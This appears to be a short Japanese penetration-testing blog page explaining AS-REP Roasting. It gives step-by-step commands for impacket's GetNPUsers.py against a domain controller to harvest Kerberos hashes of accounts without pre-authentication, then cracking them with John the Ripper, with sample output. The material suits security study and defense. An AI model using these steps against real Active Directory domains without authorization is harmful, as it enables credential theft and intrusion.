Shinobi Style

Footprint To Marvelous Hacker

ASREP Roast

ASREP Roastとは、Kerberos pre-authenticationが無効になっているユーザに対する攻撃。AS_REQリクエストをDCに送り、返ってきたAS_REPメッセージに含まれるデータからパスワードクラックが可能になる。

手順

  1. ユーザ名リストを作成

     $ cat users.txt
     aaa
     bbb
     ccc
     ddd
     fsmith
    
  2. impacketを使用してコマンド実行

     $ python3 /opt/impacket/examples/GetNPUsers.py DomainName/ -usersfile ./users.txt -format john -outputfile ./out.john -dc-ip <DC IP address>
     Impacket v0.9.24.dev1+20210702.183028.4821d64e - Copyright 2021 SecureAuth Corporation
    
     [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
     [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
     [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
     [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
    
     $ cat out.john 
     $krb5asrep$fsmith@DomainName:aaaaaaaaaaaaaa
    
  3. 得られたハッシュ値をクラック

     $ /opt/john/run/john --wordlist=/usr/share/wordlist/rockyou.txt out.john 
    
     Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
     PASSWORD     ($krb5asrep$fsmith@DomainName)
     Session completed. `
    

Reference